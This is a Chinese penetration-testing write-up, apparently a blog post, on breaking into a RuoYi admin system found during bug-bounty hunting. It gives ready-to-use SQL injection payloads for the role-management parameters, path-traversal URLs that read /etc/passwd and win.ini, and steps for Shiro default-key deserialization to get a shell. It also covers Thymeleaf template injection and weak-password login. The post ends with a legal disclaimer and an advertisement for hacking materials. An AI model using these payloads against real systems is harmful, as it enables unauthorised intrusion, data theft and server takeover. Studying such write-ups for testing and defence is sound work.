前言:
在挖src的时候,可以通过信息收集收集弱口令,然后通过后台弱口令进入后台:
发现一个弱口令进去后:
【魔方老师提醒才发现,这个蓝色的草丛其实可以大致判断是若依系统】
看这界面,是不是很像ruoyi
插件一看:
前端vue.js
加上登录的cookie rememberMe:
【登录失败时bp抓包相应包有remeberMe=delete】
得知登录为shiro框架
八九不离十后台就是ruoyi框架的管理系统了
若依管理系统简介
若依管理系统(Ruoyi Admin System)是一款基于Java开发的开源后台管理系统,若依管理系统采用前后端分离架构,前端使用Vue.js框架,后端使用Spring Boot框架。
找了个ruoyi系统的例图如下:
漏洞一:若依前台默认shiro key命令执行漏洞
漏洞简介
若依默认使用shiro组件,所以可以试试shiro经典的反序列化 rememberMe漏洞来getshell。
直接工具一搜哈:
直接先爆破密钥,成功了血赚,失败了不亏,还有其他方法能得到AES的key
工具二搜哈:
【url和cookie配置好就直接搜哈】
这里发现了很多的漏洞:
[+] 存在Snakeyaml命令执行漏洞
[+] 存在JdbcTemplate漏洞
[+] 存在ReadFile(新)文件读取漏洞
[+] 存在ReadFile(老)文件读取漏洞
[+] 存在Thymeleaf模板注入漏洞
[+] 存在SQL(1)注入漏洞
[+] 存在SQL(2)注入漏洞
[+] 存在SQL(3)注入漏洞
[+] 存在Shiro框架
[+] 存在默认key:xxxxx
我们先针对shiro框架:
拿着key去工具一:
然后检测利用链,检测成功后就可以命令执行getshell了:
漏洞二:若依后台存在多处sql注入漏洞
第一处:
角色管理的搜索,bp拦截抓包:
poc:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
报错注入回显database():
poc2:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1),0x7e))
爆到库名点到为止
第二处:
也是角色管理,在导出这里
poc:
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
或者直接使用工具二
漏洞三:若依后台任意文件读取(CNVD-2021-01931)
直接get访问:
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini
漏洞四:Thymeleaf模板注入漏洞
用工具二 ping+dnslog验证:
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线